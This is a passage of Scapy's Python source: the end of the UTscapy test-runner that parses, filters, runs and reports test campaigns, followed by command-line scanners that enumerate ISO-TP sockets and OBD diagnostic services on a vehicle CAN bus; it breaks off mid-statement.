print("CRC=[%(crc)s] SHA=[%(sha)s]" % test_campaign) print("from file %(filename)s" % test_campaign) print() for ts in test_campaign: if ts.crc: print("+--[%s]%s(%s)--" % (ts.name, "-" * max(2, 80 - len(ts.name) - 18), ts.crc)) # noqa: E501 else: print("+--[%s]%s" % (ts.name, "-" * max(2, 80 - len(ts.name) - 6))) if ts.keywords: print(" kw=%s" % ",".join(ts.keywords)) for t in ts: print("%(num)03i %(name)s" % t) c = k = "" if t.keywords: k = "kw=%s" % ",".join(t.keywords) if t.crc: c = "[%(crc)s] " % t if c or k: print(" %s%s" % (c, k)) def docs_campaign(test_campaign): print("%(title)s" % test_campaign) print("=" * (len(test_campaign.title))) print() if len(test_campaign.headcomments): print("%s" % test_campaign.headcomments.strip().replace("\n", "")) print() for ts in test_campaign: print("%s" % ts.name) print("-" * len(ts.name)) print() if len(ts.comments): print("%s" % ts.comments.strip().replace("\n", "")) print() for t in ts: print("%s" % t.name) print("^" * len(t.name)) print() if len(t.comments): print("%s" % t.comments.strip().replace("\n", "")) print() print("Usage example::") for line in t.test.split('\n'): if not line.rstrip().endswith('# no_docs'): print("\t%s" % line) # COMPUTE CAMPAIGN DIGESTS # def crc32(x): return "%08X" % (0xffffffff & zlib.crc32(bytearray(x, "utf8"))) def sha1(x): return hashlib.sha1(x.encode("utf8")).hexdigest().upper() def compute_campaign_digests(test_campaign): dc = "" for ts in test_campaign: dts = "" for t in ts: dt = t.test.strip() t.crc = crc32(dt) dts += "\0" + dt ts.crc = crc32(dts) dc += "\0\x01" + dts test_campaign.crc = crc32(dc) with open(test_campaign.filename, encoding='utf-8') as fdesc: test_campaign.sha = sha1(fdesc.read()) # FILTER CAMPAIGN # def filter_tests_on_numbers(test_campaign, num): if num: for ts in test_campaign: ts.tests = [t for t in ts.tests if t.num in num] test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests] def _filter_tests_kw(test_campaign, kw, keep): def kw_match(lst, kw): return any(k for k in lst if kw == k) if kw: kw = kw.lower() if keep: cond = lambda x: x else: cond = lambda x: not x for ts in test_campaign: ts.tests = [t for t in ts.tests if cond(kw_match(t.keywords, kw))] def filter_tests_keep_on_keywords(test_campaign, kw): return _filter_tests_kw(test_campaign, kw, True) def filter_tests_remove_on_keywords(test_campaign, kw): return _filter_tests_kw(test_campaign, kw, False) def remove_empty_testsets(test_campaign): test_campaign.campaign = [ts for ts in test_campaign.campaign if ts.tests] # RUN TEST # def _run_test_timeout(test, get_interactive_session, verb=3, my_globals=None): """Run a test with timeout""" from scapy.autorun import StopAutorunTimeout try: return get_interactive_session(test, timeout=5 * 60, # 5 min verb=verb, my_globals=my_globals) except StopAutorunTimeout: return "-- Test timed out ! --", False def run_test(test, get_interactive_session, theme, verb=3, my_globals=None): """An internal UTScapy function to run a single test""" start_time = time.time() test.output, res = _run_test_timeout(test.test.strip(), get_interactive_session, verb=verb, my_globals=my_globals) test.result = "failed" try: if res is None or res: test.result = "passed" if test.output.endswith('KeyboardInterrupt\n'): test.result = "interrupted" raise KeyboardInterrupt except Exception: test.output += "UTscapy: Error during result interpretation:\n" test.output += "".join(traceback.format_exception(sys.exc_info()[0], sys.exc_info()[1], sys.exc_info()[2],)) finally: test.duration = time.time() - start_time if test.result == "failed": from scapy.sendrecv import debug # Add optional debugging data to log if debug.crashed_on: cls, val = debug.crashed_on test.output += "\n\nPACKET DISSECTION FAILED ON:\n %s(bytes.fromhex('%s'))" % (cls.__name__, val.hex()) debug.crashed_on = None test.prepare(theme) if verb > 2: print("%(fresult)6s %(crc)s %(duration)06.2fs %(name)s" % test) elif verb > 1: print("%(fresult)6s %(crc)s %(name)s" % test) return bool(test) # RUN CAMPAIGN # def import_UTscapy_tools(ses): """Adds UTScapy tools directly to a session""" ses["Bunch"] = Bunch ses["retry_test"] = retry_test ses["scapy_path"] = scapy_path ses["no_debug_dissector"] = no_debug_dissector if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback() ses["conf"].ifaces = conf.ifaces ses["conf"].route.routes = conf.route.routes ses["conf"].route6.routes = conf.route6.routes def run_campaign(test_campaign, get_interactive_session, theme, drop_to_interpreter=False, verb=3, scapy_ses=None): passed = failed = 0 if test_campaign.preexec: test_campaign.preexec_output = get_interactive_session( test_campaign.preexec.strip(), my_globals=scapy_ses )[0] # Drop def drop(t, scapy_ses): from scapy.main import interact interact( mybanner="Test '%s' failed.\n\n%s" % (t.name, t.output), mybanneronly=True, mydict=scapy_ses, argv=[None, "-H"], ) try: for i, testset in enumerate(test_campaign): for j, t in enumerate(testset): if run_test(t, get_interactive_session, theme, verb=verb, my_globals=scapy_ses): passed += 1 else: failed += 1 if drop_to_interpreter: drop(t, scapy_ses) test_campaign.duration += t.duration except KeyboardInterrupt: failed += 1 testset.trunc(j + 1) test_campaign.trunc(i + 1) test_campaign.interrupted = True if verb: print("Campaign interrupted!") test_campaign.passed = passed test_campaign.failed = failed style = [theme.success, theme.fail][bool(failed)] if verb > 2: print("Campaign CRC=%(crc)s in %(duration)06.2fs SHA=%(sha)s" % test_campaign) print(style("PASSED=%i FAILED=%i" % (passed, failed))) elif verb: print("Campaign CRC=%(crc)s SHA=%(sha)s" % test_campaign) print(style("PASSED=%i FAILED=%i" % (passed, failed))) return failed # INFO LINES # def info_line(test_campaign, theme): filename = test_campaign.filename duration = test_campaign.duration if duration > 10: duration = theme.format(duration, "bg_red+white") elif duration > 5: duration = theme.format(duration, "red") if filename is None: return "Run at %s by UTscapy in %s" % ( time.strftime("%H:%M:%S"), duration ) else: return "Run at %s from [%s] by UTscapy in %s" % ( time.strftime("%H:%M:%S"), filename, duration ) def html_info_line(test_campaign): filename = test_campaign.filename if filename is None: return """Run %s by UTscapy
""" % time.ctime() # noqa: E501 else: return """Run %s from [%s] by UTscapy
""" % (time.ctime(), filename) # noqa: E501 def latex_info_line(test_campaign): filename = test_campaign.filename if filename is None: return """by UTscapy""", """%s""" % time.ctime() else: return """from %s by UTscapy""" % tex_escape(filename), """%s""" % time.ctime() # CAMPAIGN TO something # def campaign_to_TEXT(test_campaign, theme): ptheme = [lambda x: x, theme.success][bool(test_campaign.passed)] ftheme = [lambda x: x, theme.fail][bool(test_campaign.failed)] output = theme.green("\n%(title)s\n" % test_campaign) output += dash + " " + info_line(test_campaign, theme) + "\n" output += ptheme(" " + arrow + " Passed=%(passed)i\n" % test_campaign) output += ftheme(" " + arrow + " Failed=%(failed)i\n" % test_campaign) output += "%(headcomments)s\n" % test_campaign for testset in test_campaign: if any(t.expand for t in testset): output += "######\n## %(name)s\n######\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += "###(%(num)03i)=[%(result)s] %(name)s\n%(comments)s\n%(output)s\n\n" % t # noqa: E501 return output def campaign_to_ANSI(test_campaign, theme): return campaign_to_TEXT(test_campaign, theme) def campaign_to_xUNIT(test_campaign): output = '\n\n' for testset in test_campaign: for t in testset: output += ' %(title)s

""" % test_campaign if test_campaign.crc is not None and test_campaign.sha is not None: output += "CRC=%(crc)s SHA=%(sha)s
" % test_campaign output += "" + html_info_line(test_campaign) + "" output += "".join([ test_campaign.headcomments, "\n

", "PASSED=%(passed)i FAILED=%(failed)i" % test_campaign, " INTERRUPTED!" if test_campaign.interrupted else "", "

\n\n", ]) for testset in test_campaign: output += "

" % testset if testset.crc is not None: output += "%(crc)s " % testset output += "%(name)s

\n%(comments)s\n
    \n" % testset for t in testset: output += """
  • \n""" % t if t.expand == 2: output += """ -%(num)03i- """ % t else: output += """ +%(num)03i+ """ % t if t.crc is not None: output += "%(crc)s\n" % t output += """%(name)s\n """ % t output += "\n
\n\n" return output def pack_html_campaigns(runned_campaigns, data, local=False, title=None): output = """ %(title)s

UTScapy tests

Shrink All Expand All Expand Passed Expand Failed

""" for test_campaign in runned_campaigns: for ts in test_campaign: for t in ts: output += """%(num)03i\n""" % t output += """

\n\n %(data)s """ out_dict = {'data': data, 'title': title if title else "UTScapy tests"} if local: dirname = os.path.dirname(test_campaign.output_file) External_Files.UTscapy_js.write(dirname) External_Files.UTscapy_css.write(dirname) out_dict.update(External_Files.get_local_dict()) else: out_dict.update(External_Files.get_URL_dict()) output %= out_dict return output def campaign_to_LATEX(test_campaign): output = r""" \chapter{%(title)s} Run %%s on \date{%%s} \begin{description} \item[Passed:] %(passed)i \item[Failed:] %(failed)i \end{description} %(headcomments)s """ % test_campaign output %= latex_info_line(test_campaign) for testset in test_campaign: output += "\\section{%(name)s}\n\n%(comments)s\n\n" % testset for t in testset: t.comments = tex_escape(t.comments) if t.expand: output += r"""\subsection{%(name)s} Test result: \textbf{%(result)s}\newline %(comments)s \begin{alltt} %(output)s \end{alltt} """ % t return output def pack_latex_campaigns(runned_campaigns, data, local=False, title=None): output = r""" \documentclass{report} \usepackage{alltt} \usepackage{xcolor} \usepackage{a4wide} \usepackage{hyperref} \title{%(title)s} \begin{document} \maketitle \tableofcontents %(data)s \end{document}\n """ out_dict = {'data': data, 'title': title if title else "UTScapy tests"} output %= out_dict return output # USAGE # def usage(): print("""Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX|xUnit|live}] [-o output_file] [-t testfile] [-T testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-b] [-d|-D] [-F] [-q[q]] [-i] [-P preexecute_python_code] [-c configfile] -t\t\t: provide test files (can be used many times) -T\t\t: if -t is used with *, remove a specific file (can be used many times) -l\t\t: generate local .js and .css files -F\t\t: expand only failed tests -b\t\t: don't stop at the first failed campaign -d\t\t: dump campaign -D\t\t: dump campaign and stop -R\t\t: dump campaign as reStructuredText -C\t\t: don't calculate CRC and SHA -c\t\t: load a .utsc config file -i\t\t: drop into Python interpreter if test failed -q\t\t: quiet mode -qq\t\t: [silent mode] -x\t\t: use pyannotate -n \t: only tests whose numbers are given (eg. 1,3-7,12) -N\t\t: force non root -m \t: additional module to put in the namespace -k ,,...\t: include only tests with one of those keywords (can be used many times) -K ,,...\t: remove tests with one of those keywords (can be used many times) -P """) raise SystemExit # MAIN # def execute_campaign(TESTFILE, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP, DOCS, FORMAT, VERB, ONLYFAILED, CRC, INTERPRETER, autorun_func, theme, pos_begin=0, scapy_ses=None): # noqa: E501 # Parse test file try: test_campaign = parse_campaign_file(TESTFILE) except ValueError as ex: print( theme.red("Error while parsing '%s': '%s'" % (TESTFILE.name, ex)) ) sys.exit(1) # Report parameters if PREEXEC: test_campaign.preexec = PREEXEC # Compute campaign CRC and SHA if CRC: compute_campaign_digests(test_campaign) # Filter out unwanted tests filter_tests_on_numbers(test_campaign, NUM) for k in KW_OK: filter_tests_keep_on_keywords(test_campaign, k) for k in KW_KO: filter_tests_remove_on_keywords(test_campaign, k) remove_empty_testsets(test_campaign) # Dump campaign if DUMP: dump_campaign(test_campaign) if DUMP > 1: sys.exit() # Dump campaign as reStructuredText if DOCS: docs_campaign(test_campaign) sys.exit() # Run tests test_campaign.output_file = OUTPUTFILE result = run_campaign( test_campaign, autorun_func[FORMAT], theme, drop_to_interpreter=INTERPRETER, verb=VERB, scapy_ses=scapy_ses ) # Shrink passed if ONLYFAILED: for t in test_campaign.all_tests(): if t: t.expand = 0 else: t.expand = 2 # Generate report if FORMAT == Format.TEXT: output = campaign_to_TEXT(test_campaign, theme) elif FORMAT == Format.ANSI: output = campaign_to_ANSI(test_campaign, theme) elif FORMAT == Format.HTML: test_campaign.startNum(pos_begin) output = campaign_to_HTML(test_campaign) elif FORMAT == Format.LATEX: output = campaign_to_LATEX(test_campaign) elif FORMAT == Format.XUNIT: output = campaign_to_xUNIT(test_campaign) elif FORMAT == Format.LIVE: output = "" return output, (result == 0), test_campaign def resolve_testfiles(TESTFILES): for tfile in TESTFILES[:]: if "*" in tfile: TESTFILES.remove(tfile) TESTFILES.extend(sorted(glob.glob(tfile))) return TESTFILES def main(): argv = sys.argv[1:] logger = logging.getLogger("scapy") logger.addHandler(logging.StreamHandler()) # Treat SyntaxWarning as errors warnings.filterwarnings("error", category=SyntaxWarning) import scapy print(dash + " UTScapy - Scapy %s - %s" % ( scapy.__version__, sys.version.split(" ")[0] )) # Parse arguments FORMAT = Format.ANSI OUTPUTFILE = sys.stdout LOCAL = 0 NUM = None NON_ROOT = False KW_OK = [] KW_KO = [] DUMP = 0 DOCS = 0 CRC = True BREAKFAILED = True ONLYFAILED = False VERB = 3 GLOB_PREEXEC = "" PREEXEC_DICT = {} MODULES = [] EXTENSIONS = [] TESTFILES = [] ANNOTATIONS_MODE = False INTERPRETER = False try: opts = getopt.getopt(argv, "o:t:T:c:f:hbln:m:k:K:DRdCiFqNP:s:x") for opt, optarg in opts[0]: if opt == "-h": usage() elif opt == "-b": BREAKFAILED = False elif opt == "-F": ONLYFAILED = True elif opt == "-q": VERB -= 1 elif opt == "-D": DUMP = 2 elif opt == "-R": DOCS = 1 elif opt == "-d": DUMP = 1 elif opt == "-C": CRC = False elif opt == "-i": INTERPRETER = True elif opt == "-x": ANNOTATIONS_MODE = True elif opt == "-P": GLOB_PREEXEC += "\n" + optarg elif opt == "-f": try: FORMAT = Format.from_string(optarg) except KeyError as msg: raise getopt.GetoptError("Unknown output format %s" % msg) elif opt == "-t": TESTFILES.append(optarg) TESTFILES = resolve_testfiles(TESTFILES) elif opt == "-T": TESTFILES.remove(optarg) elif opt == "-c": data = parse_config_file(optarg, VERB) BREAKFAILED = data.breakfailed ONLYFAILED = data.onlyfailed VERB = data.verb DUMP = data.dump CRC = data.crc PREEXEC_DICT = data.preexec GLOB_PREEXEC = data.global_preexec OUTPUTFILE = data.outfile TESTFILES = data.testfiles LOCAL = 1 if data.local else 0 NUM = data.num MODULES = data.modules EXTENSIONS = data.extensions KW_OK.extend(data.kw_ok) KW_KO.extend(data.kw_ko) try: FORMAT = Format.from_string(data.format) except KeyError as msg: raise getopt.GetoptError("Unknown output format %s" % msg) TESTFILES = resolve_testfiles(TESTFILES) for testfile in resolve_testfiles(data.remove_testfiles): try: TESTFILES.remove(testfile) except ValueError: error_m = "Cannot remove %s from test files" % testfile raise getopt.GetoptError(error_m) elif opt == "-o": OUTPUTFILE = optarg if not os.access(os.path.dirname(os.path.abspath(OUTPUTFILE)), os.W_OK): raise getopt.GetoptError("Cannot write to file %s" % OUTPUTFILE) elif opt == "-l": LOCAL = 1 elif opt == "-n": NUM = [] for v in (x.strip() for x in optarg.split(",")): try: NUM.append(int(v)) except ValueError: v1, v2 = [int(e) for e in v.split('-', 1)] NUM.extend(range(v1, v2 + 1)) elif opt == "-N": NON_ROOT = True elif opt == "-m": MODULES.append(optarg) elif opt == "-k": KW_OK.extend(optarg.split(",")) elif opt == "-K": KW_KO.extend(optarg.split(",")) except getopt.GetoptError as msg: print("ERROR:", msg) raise SystemExit if FORMAT in [Format.LIVE, Format.ANSI]: theme = DefaultTheme() else: theme = BlackAndWhite() # Disable tests if needed try: if NON_ROOT or os.getuid() != 0: # Non root # Discard root tests KW_KO.append("needs_root") if VERB > 2: print(" " + arrow + " Non-root mode") except AttributeError: pass if BIG_ENDIAN: KW_KO.append("little_endian_only") if conf.use_pcap or WINDOWS: KW_KO.append("not_libpcap") if VERB > 2: print(" " + arrow + " libpcap mode") if sys.version_info < (3, 8): KW_KO.append("needs_py38plus") KW_KO.append("disabled") if ANNOTATIONS_MODE: try: from pyannotate_runtime import collect_types except ImportError: raise ImportError("Please install pyannotate !") collect_types.init_types_collection() collect_types.start() if VERB > 2: print(" " + arrow + " Booting scapy...") try: from scapy import all as scapy except Exception as e: print("[CRITICAL]: Cannot import Scapy: %s" % e) traceback.print_exc() sys.exit(1) # Abort the tests for m in MODULES: try: mod = import_module(m) builtins.__dict__.update(mod.__dict__) except ImportError as e: raise getopt.GetoptError("cannot import [%s]: %s" % (m, e)) for ext in EXTENSIONS: conf.exts.load(ext) autorun_func = { Format.TEXT: scapy.autorun_get_text_interactive_session, Format.ANSI: scapy.autorun_get_ansi_interactive_session, Format.HTML: scapy.autorun_get_html_interactive_session, Format.LATEX: scapy.autorun_get_latex_interactive_session, Format.XUNIT: scapy.autorun_get_text_interactive_session, Format.LIVE: scapy.autorun_get_live_interactive_session, } if VERB > 2: print(" " + arrow + " Discovering tests files...") glob_output = "" glob_result = 0 glob_title = None UNIQUE = len(TESTFILES) == 1 # Resolve tags and asterix for prex in copy.copy(PREEXEC_DICT).keys(): if "*" in prex: pycode = PREEXEC_DICT[prex] del PREEXEC_DICT[prex] for gl in glob.iglob(prex): _pycode = pycode.replace("%name%", os.path.splitext(os.path.split(gl)[1])[0]) # noqa: E501 PREEXEC_DICT[gl] = _pycode pos_begin = 0 runned_campaigns = [] from scapy.main import _scapy_builtins scapy_ses = _scapy_builtins() import_UTscapy_tools(scapy_ses) # Execute all files for TESTFILE in TESTFILES: if VERB > 2: print(theme.green(dash + " Loading: %s" % TESTFILE)) PREEXEC = PREEXEC_DICT[TESTFILE] if TESTFILE in PREEXEC_DICT else GLOB_PREEXEC with open(TESTFILE, encoding='utf-8') as testfile: output, result, campaign = execute_campaign( testfile, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP, DOCS, FORMAT, VERB, ONLYFAILED, CRC, INTERPRETER, autorun_func, theme, pos_begin=pos_begin, scapy_ses=copy.copy(scapy_ses) ) runned_campaigns.append(campaign) pos_begin = campaign.end_pos if UNIQUE: glob_title = campaign.title glob_output += output if not result: glob_result = 1 if BREAKFAILED: break if VERB > 2: print( checkmark + " All campaigns executed. Writing output..." ) if ANNOTATIONS_MODE: collect_types.stop() collect_types.dump_stats("pyannotate_results") # Concenate outputs if FORMAT == Format.HTML: glob_output = pack_html_campaigns(runned_campaigns, glob_output, LOCAL, glob_title) if FORMAT == Format.LATEX: glob_output = pack_latex_campaigns(runned_campaigns, glob_output, LOCAL, glob_title) # Write the final output # Note: on Python 2, we force-encode to ignore ascii errors # on Python 3, we need to detect the type of stream if OUTPUTFILE == sys.stdout: print(glob_output, file=OUTPUTFILE) else: with open(OUTPUTFILE, "wb") as f: f.write(glob_output.encode("utf8", "ignore") if 'b' in f.mode else glob_output) # Print end message if VERB > 2: if glob_result == 0: print(theme.green("UTscapy ended successfully")) else: print(theme.red("UTscapy ended with error code %s" % glob_result)) # Check active threads if VERB > 2: if threading.active_count() > 1: print("\nWARNING: UNFINISHED THREADS") print(threading.enumerate()) import multiprocessing processes = multiprocessing.active_children() if processes: print("\nWARNING: UNFINISHED PROCESSES") print(processes) sys.stdout.flush() # Return state return glob_result if __name__ == "__main__": if sys.warnoptions: with warnings.catch_warnings(record=True) as cw: warnings.resetwarnings() # Let's discover the garbage waste warnings.simplefilter('error') print("### Warning mode enabled ###") res = main() if cw: res = 1 sys.exit(res) else: sys.exit(main()) ================================================ FILE: scapy/tools/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Additional tools to be run separately """ ================================================ FILE: scapy/tools/automotive/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss """ Automotive related tools to be run separately """ ================================================ FILE: scapy/tools/automotive/isotpscanner.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Alexander Schroeder import getopt import sys import signal import re import threading from ast import literal_eval from scapy.config import conf from scapy.consts import LINUX # Typing imports from typing import ( Tuple, Optional, Any, ) if not LINUX or conf.use_pypy: conf.contribs['CANSocket'] = {'use-python-can': True} from scapy.contrib.cansocket import CANSocket, PYTHON_CAN # noqa: E402 from scapy.contrib.isotp import isotp_scan # noqa: E402 def usage(is_error): # type: (bool) -> None print('''usage:\tisotpscanner [-i interface] [-c channel] [-a python-can_args] [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME] [-x|--extended] [-C|--piso] [-v|--verbose] [-h|--help] [-s start] [-e end]\n Scan for open ISOTP-Sockets.\n required arguments: -c, --channel python-can channel or Linux SocketCAN interface name -s, --start Start scan at this identifier (hex) -e, --end End scan at this identifier (hex)\n additional required arguments for WINDOWS or Python 2: -i, --interface python-can interface for the scan. Depends on used interpreter and system, see examples below. Any python-can interface can be provided. Please see: https://python-can.readthedocs.io for further interface examples. optional arguments: -a, --python-can_args Additional arguments for a python-can Bus object.\n -h, --help show this help message and exit -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME Seconds listening for noise before scan. -t SNIFF_TIME, --sniff_time SNIFF_TIME Duration in milliseconds a sniff is waiting for a flow-control response. -x, --extended Scan with ISOTP extended addressing. This has nothing to do with extended CAN identifiers -C, --piso Print 'Copy&Paste'-ready ISOTPSockets. -v, --verbose Display information during scan.\n --extended_can_id Use extended CAN identifiers Example of use:\n Python2 or Windows: python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 -a 'bitrate=500000 fd=True' --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --start 0 --end 100\n Python3 on Linux: python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100 \n''', # noqa: E501 file=sys.stderr if is_error else sys.stdout) def create_socket(python_can_args, interface, channel): # type: (Optional[str], Optional[str], str) -> Tuple[CANSocket, str] if PYTHON_CAN: if python_can_args: interface_string = "CANSocket(bustype=" \ "'%s', channel='%s', %s)" % \ (interface, channel, python_can_args) arg_dict = dict((k, literal_eval(v)) for k, v in (pair.split('=') for pair in re.split(', | |,', python_can_args))) sock = CANSocket(bustype=interface, channel=channel, **arg_dict) else: interface_string = "CANSocket(bustype=" \ "'%s', channel='%s')" % \ (interface, channel) sock = CANSocket(bustype=interface, channel=channel) else: sock = CANSocket(channel=channel) interface_string = "\"%s\"" % channel return sock, interface_string def main(): # type: () -> None extended = False piso = False verbose = False extended_can_id = False sniff_time = 100 noise_listen_time = 2 start = None end = None channel = None interface = None python_can_args = None conf.verb = -1 options = getopt.getopt( sys.argv[1:], 'vxCt:n:i:c:a:s:e:h:w', ['verbose', 'noise_listen_time=', 'sniff_time=', 'interface=', 'piso', 'channel=', 'python-can_args=', 'start=', 'end=', 'help', 'extended', 'extended_can_id']) try: for opt, arg in options[0]: if opt in ('-v', '--verbose'): verbose = True elif opt in ('-x', '--extended'): extended = True elif opt in ('-C', '--piso'): piso = True elif opt in ('-h', '--help'): usage(False) sys.exit(0) elif opt in ('-t', '--sniff_time'): sniff_time = int(arg) elif opt in ('-n', '--noise_listen_time'): noise_listen_time = int(arg) elif opt in ('-i', '--interface'): interface = arg elif opt in ('-c', '--channel'): channel = arg elif opt in ('-a', '--python-can_args'): python_can_args = arg elif opt in ('-s', '--start'): start = int(arg, 16) elif opt in ('-e', '--end'): end = int(arg, 16) elif opt in '--extended_can_id': extended_can_id = True except getopt.GetoptError as msg: usage(True) print("ERROR:", msg, file=sys.stderr) raise SystemExit if start is None or \ end is None or \ channel is None or \ (PYTHON_CAN and interface is None): usage(True) print("\nPlease provide all required arguments.\n", file=sys.stderr) sys.exit(1) if end >= 2**29 or start >= 2**29: print("Argument 'start' and 'end' must be < " + hex(2**29), file=sys.stderr) sys.exit(1) if not extended_can_id and (end >= 0x800 or start >= 0x800): print("Standard can identifiers must be < 0x800.\n" "Use --extended_can_id option to scan with " "extended CAN identifiers.", file=sys.stderr) sys.exit(1) if end < start: print("start must be equal or smaller than end.", file=sys.stderr) sys.exit(1) try: sock, interface_string = \ create_socket(python_can_args, interface, channel) if verbose: print("Start scan (%s - %s)" % (hex(start), hex(end))) stop_event = threading.Event() def signal_handler(*args): # type: (Any) -> None print('Interrupting scan!') stop_event.set() signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) result = isotp_scan(sock, range(start, end + 1), extended_addressing=extended, noise_listen_time=noise_listen_time, sniff_time=float(sniff_time) / 1000, output_format="code" if piso else "text", can_interface=interface_string, extended_can_id=extended_can_id, verbose=verbose, stop_event=stop_event) print("Scan: \n%s" % result) except Exception as e: usage(True) print("\nSocket couldn't be created. Check your arguments.\n", file=sys.stderr) print(e, file=sys.stderr) sys.exit(1) finally: if sock is not None and not sock.closed: sock.close() if __name__ == '__main__': main() ================================================ FILE: scapy/tools/automotive/obdscanner.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Friedrich Feigel # Copyright (C) Nils Weiss import getopt import sys import signal import re import traceback from ast import literal_eval from scapy.config import conf from scapy.consts import LINUX if not LINUX or conf.use_pypy: conf.contribs['CANSocket'] = {'use-python-can': True} from scapy.contrib.isotp import ISOTPSocket # noqa: E402 from scapy.contrib.cansocket import CANSocket, PYTHON_CAN # noqa: E402 from scapy.contrib.automotive.obd.obd import OBD # noqa: E402 from scapy.contrib.automotive.obd.scanner import OBD_Scanner, \ OBD_S01_Enumerator, OBD_S02_Enumerator, OBD_S03_Enumerator, \ OBD_S06_Enumerator, OBD_S07_Enumerator, OBD_S08_Enumerator, \ OBD_S09_Enumerator, OBD_S0A_Enumerator # noqa: E402 def signal_handler(sig, frame): print('Interrupting scan!') sys.exit(0) def usage(is_error): print('''usage:\tobdscanner [-i|--interface] [-c|--channel] [-b|--bitrate] [-a|--python-can_args] [-h|--help] [-s|--source] [-d|--destination] [-t|--timeout] [-f|--full] [-v|--verbose]\n Scan for all possible obd service classes and their subfunctions.\n optional arguments: -c, --channel python-can channel or Linux SocketCAN interface name\n additional required arguments for WINDOWS or Python 2: -i, --interface python-can interface for the scan. Depends on used interpreter and system, see examples below. Any python-can interface can be provided. Please see: https://python-can.readthedocs.io for further interface examples. optional arguments: -a, --python-can_args Additional arguments for a python-can Bus object. -h, --help show this help message and exit -s, --source ISOTP-socket source id (hex) -d, --destination ISOTP-socket destination id (hex) -t, --timeout Timeout after which the scanner proceeds to next service [seconds] -f, --full Full scan on id services -v, --verbose Display information during scan -1 Scan OBD Service 01 -2 Scan OBD Service 02 -3 Scan OBD Service 03 -6 Scan OBD Service 06 -7 Scan OBD Service 07 -8 Scan OBD Service 08 -9 Scan OBD Service 09 -A Scan OBD Service 0A\n Example of use:\n Python2 or Windows: python2 -m scapy.tools.automotive.obdscanner --interface=pcan --channel=PCAN_USBBUS1 --source=0x070 --destination 0x034 python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --source 0x000 --destination 0x734 python2 -m scapy.tools.automotive.obdscanner --interface socketcan --channel=can0 --source 0x089 --destination 0x234 python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --source=0x070 --destination 0x034\n Python3 on Linux: python3 -m scapy.tools.automotive.obdscanner --channel can0 --source 0x123 --destination 0x456 \n''', # noqa: E501 file=sys.stderr if is_error else sys.stdout) def get_can_socket(channel, interface, python_can_args): if PYTHON_CAN: if python_can_args: arg_dict = dict((k, literal_eval(v)) for k, v in (pair.split('=') for pair in re.split(', | |,', python_can_args))) return CANSocket(bustype=interface, channel=channel, **arg_dict) else: return CANSocket(bustype=interface, channel=channel) else: return CANSocket(channel=channel) def get_isotp_socket(csock, source, destination): return ISOTPSocket(csock, source, destination, basecls=OBD, padding=True) def run_scan(isock, enumerators, full_scan, verbose, timeout): s = OBD_Scanner(isock, test_cases=enumerators, full_scan=full_scan, debug=verbose, timeout=timeout) print("Starting OBD-Scan...") s.scan() s.show_testcases() def main(): channel = None interface = None source = 0x7e0 destination = 0x7df timeout = 0.1 full_scan = False verbose = False python_can_args = None enumerators = [] conf.verb = -1 options = getopt.getopt( sys.argv[1:], 'i:c:s:d:a:t:hfv1236789A', ['interface=', 'channel=', 'source=', 'destination=', 'help', 'timeout=', 'python-can_args=', 'full', 'verbose']) try: for opt, arg in options[0]: if opt in ('-i', '--interface'): interface = arg elif opt in ('-c', '--channel'): channel = arg elif opt in ('-a', '--python-can_args'): python_can_args = arg elif opt in ('-s', '--source'): source = int(arg, 16) elif opt in ('-d', '--destination'): destination = int(arg, 16) elif opt in ('-h', '--help'): usage(False) sys.exit(0) elif opt in ('-t', '--timeout'): timeout = float(arg) elif opt in ('-f', '--full'): full_scan = True elif opt == '-1': enumerators += [OBD_S01_Enumerator] elif opt == '-2': enumerators += [OBD_S02_Enumerator] elif opt == '-3': enumerators += [OBD_S03_Enumerator] elif opt == '-6': enumerators += [OBD_S06_Enumerator] elif opt == '-7': enumerators += [OBD_S07_Enumerator] elif opt == '-8': enumerators += [OBD_S08_Enumerator] elif opt == '-9': enumerators += [OBD_S09_Enumerator] elif opt == '-A': enumerators += [OBD_S0A_Enumerator] elif opt in ('-v', '--verbose'): verbose = True except getopt.GetoptError as msg: usage(True) print("ERROR:", msg, file=sys.stderr) raise SystemExit if channel is None or \ (PYTHON_CAN and interface is None): usage(True) print("\nPlease provide all required arguments.\n", file=sys.stderr) sys.exit(1) if 0 > source >= 0x800 or 0 > destination >= 0x800\ or source == destination: print("The ids must be >= 0 and < 0x800 and not equal.", file=sys.stderr) sys.exit(1) if 0 > timeout: print("The timeout must be a positive value") sys.exit(1) csock = None isock = None try: csock = get_can_socket(channel, interface, python_can_args) isock = get_isotp_socket(csock, source, destination) signal.signal(signal.SIGINT, signal_handler) run_scan(isock, enumerators, full_scan, verbose, timeout) except Exception as e: usage(True) print("\nSocket couldn't be created. Check your arguments.\n", file=sys.stderr) print(e, 